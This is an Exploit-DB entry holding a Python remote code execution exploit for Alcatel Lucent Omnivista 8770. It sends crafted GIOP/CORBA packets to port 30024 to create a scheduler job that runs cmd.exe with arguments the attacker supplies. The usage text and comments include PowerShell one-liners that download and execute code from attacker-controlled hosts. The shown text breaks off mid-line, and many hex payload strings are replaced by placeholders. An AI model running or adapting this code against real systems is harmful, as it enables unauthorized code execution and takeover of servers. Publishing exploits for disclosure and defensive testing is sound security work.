Exploit-DB #40862
Description: Alcatel Lucent Omnivista 8770 - Remote Code Execution
Type: remote
Platform: windows
Date: 2016-12-04
Author: malerisch

Exploit:
import socket
import time
import sys
import os

# ref https://blog.malerisch.net/
# Omnivista Alcatel-Lucent running on Windows Server


if len(sys.argv) < 2:
    print "Usage: %s <target> <command>" % sys.argv[0]
    print "eg: %s 192.168.1.246 \"powershell.exe -nop -w hidden -c \$g=new-object net.webclient;IEX \$g.downloadstring('http://192.168.1.40:8080/hello');\"" % sys.argv[0]
    sys.exit(1)

target = sys.argv[1]
argument1 = ' '.join(sys.argv[2:])

# so we need to get the biosname of the target... so run this poc exploit script should be run in kali directly...

netbiosname = os.popen("nbtscan -s : "+target+" | cut -d ':' -f2").read()
netbiosname = netbiosname.strip("\n")

# dirty functions to do hex magic with bytes...
### each variable has size byte before, which includes the string + "\x00" a NULL byte
### needs to calculate for each
### 

def calcsize(giop):

	s = len(giop.decode('hex'))
	h = hex(s) #"\x04" -> "04"
	return h[2:].zfill(8) # it's 4 bytes for the size

def calcstring(param): # 1 byte size calc
	
	s = (len(param)/2)+1
	h = hex(s)
	return h[2:].zfill(2) # assuming it is only 1 byte , again it's dirty...

def calcstring2(param):

	s = (len(param)/2)+1
	h = hex(s)
	return h[2:].zfill(4)



##

#GIOP request size is specified at the 11th byte

# 0000   47 49 4f 50 01 00 00 00 00 00 00 d8 00 00 00 00  GIOP............
# d8 is the size of GIOP REQUEST

# GIOP HEADER Is 12 bytes -
# GIOP REQUEST PAYLOAD comes after and it's defined at the 11th byte



#phase 1 - add a jobset

giopid = 1 # an arbitrary ID can be put there...

# there are checks in the size of the username.. need to find where the size is specified - anyway, 58 bytes seems all right...

usernamedata = "xxx.y.zzzzz,cn=Administrators,cn=8770 administration,o=nmc".encode('hex') # original "[PII_REDACTED]61646d696e[PII_REDACTED]74696f6e2c6f3d6e6d63"

#print "Size of usernamedata" + str(len(usernamedata.decode('hex')))

jobname = "MYJOB01".encode('hex') # size of 7 bytes # check also in the captured packet...


addjobset = "47494f[PII_REDACTED][PII_REDACTED]000000" + "00000001" + "[PII_REDACTED][PII_REDACTED]686564756c6572496e[PII_REDACTED][PII_REDACTED]00000a4164644a6f[PII_REDACTED][PII_REDACTED][PII_REDACTED]" + jobname + "00000007e[PII_REDACTED]000001b[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]002a[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000003f7569643d" + usernamedata + "[PII_REDACTED]0a6f6d6e[PII_REDACTED]6200" # this last part can be changed???

print "Alcatel Lucent Omnivista 8770 2.0, 2.6 and 3.0 - RCE via GIOP/CORBA - @malerisch"
print "Connecting to target..."




p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect((target, 30024))


#p = remote(target, 30024, "ipv4", "tcp")

print "Adding a job..."

p.send(addjobset.decode('hex'))

#p.recv()

data = p.recv(1024)

s = len(data)

#objectkey = "" # last 16 bytes of the response!

objectkey = data[s-16:s].encode('hex')

#print objectkey

# phase 2 - active jobset

print "Sending active packet against the job"

activegiopid = 2
active = "47494f[PII_REDACTED][PII_REDACTED]000000" + "00000002" + "[PII_REDACTED]" + objectkey +  "[PII_REDACTED][PII_REDACTED][PII_REDACTED]0000"

#print active

p.send(active.decode('hex'))

data2 = p.recv(1024)

#print data2

# phase3 add task

addjobid = 3

print "Adding a task...."

taskname = "BBBBBBB".encode('hex')
servername = netbiosname.encode('hex')
command = "C:\Windows\System32\cmd.exe".encode('hex') #on 32bit
#command = "C:\Windows\SysWOW64\cmd.exe".encode('hex') #on 64bit
commandsize = hex((len(command.decode('hex'))+1))
commandsize = str(commandsize).replace("0x","")

#print "Command size: "+ str(commandsize)

#print command.decode('hex')

#time.sleep(10)

#powershell = str(command)
#powershell = "powershell.exe -nop -c $J=new-object net.webclient;IEX $J.downloadstring('http://192.168.1.40:8080/hello');"

#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');

#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');

argument = str("/c "+argument1).encode('hex')
#argument = str("/c notepad.exe").encode('hex')

#print len(argument.decode('hex'))

#argumentsize = len(str("/c "+powershell))+1

#print "Argument size: "+str(argumentsize)

argumentsize = calcstring2(argument)

#print "argument size: "+str(argumentsize)

#print argument.decode('hex')

def calcpadd(giop):
	defaultpadding = "[PII_REDACTED]0001"
	check = giop + defaultpadding + fixedpadding
	s = len(check)
	#print "Size: "+str(s)
	if (s/2) % 4 == 0:
		#print "size ok!"
		return check
	else:
		# fix the default padding
		#print "Size not ok, recalculating padd..."
		dif = (s/2) % 4
		#print "diff: "+str(dif)
		newpadding = defaultpadding[dif*2:]
		#print "Newpadding: " +str(newpadding)
		return giop + newpadding + fixedpadding




addjobhdr = "47494f[PII_REDACTED]" # 8 bytes + 4 bytes for message size, including size of the giop request message

fixedpadding = "[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000000f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000"

variablepadding = "[PII_REDACTED]01"

#print calcstring(servername)
#print calcstring(taskname)

#print "Command:" +str(command)
#print "command size:"+str(commandsize)

addjob = "[PII_REDACTED]0000b[PII_REDACTED]0000010" + objectkey + "[PII_REDACTED]64644a6f[PII_REDACTED][PII_REDACTED]" + calcstring(taskname) + taskname + "[PII_REDACTED]"+ commandsize + command  +"00000000" +